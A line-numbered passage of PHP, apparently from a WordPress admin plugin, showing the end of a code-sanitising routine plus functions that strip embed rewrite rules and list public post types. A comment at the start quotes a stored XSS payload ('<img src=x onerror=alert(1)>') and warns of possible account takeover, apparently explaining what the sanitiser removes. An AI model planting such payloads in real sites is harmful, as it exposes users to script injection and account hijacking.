766 // 1. Stored XSS vulnerability: <img src=x onerror=alert(1)>
767 // This may entail account takeover backdoor
768 } else {
769 $sanitized_code_lines[] = $code_line;
770 }
771 }
772 }
773 $sanitized_code = implode( PHP_EOL, $sanitized_code_lines );
774 return $sanitized_code;
775 }
776
777 /**
778 * Part of Disable Embeds module
779 * Remove all rewrite rules related to embeds.
780 * During deactivation / activation.
781 *
782 * @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L86
783 * @since 8.0.0
784 *
785 * @param array $rules WordPress rewrite rules.
786 * @return array Rewrite rules without embeds rules.
787 */
788 public function disable_embeds_rewrites( $rules ) {
789 foreach ( $rules as $rule => $rewrite ) {
790 if ( false !== strpos( $rewrite, 'embed=true' ) ) {
791 unset($rules[$rule]);
792 }
793 }
794 return $rules;
795 }
796
797 /**
798 * Get an indexed array of public post type slug => label pairs
799 *
800 * @since 8.0.1
801 */
802 public function get_public_post_type_slugs() {
803 $asenha_public_post_types = array();
804 $public_post_type_names = get_post_types( array(
805 'public' => true,
806 ), 'names' );
807 foreach ( $public_post_type_names as $post_type_name ) {
808 $post_type_object = get_post_type_object( $post_type_name );
809 $asenha_public_post_types[$post_type_name] = $post_type_object->label;
810 }
811 asort( $asenha_public_post_types );
812 // sort by value, ascending
813 return $asenha_public_post_types;
814 }
815
816 }
817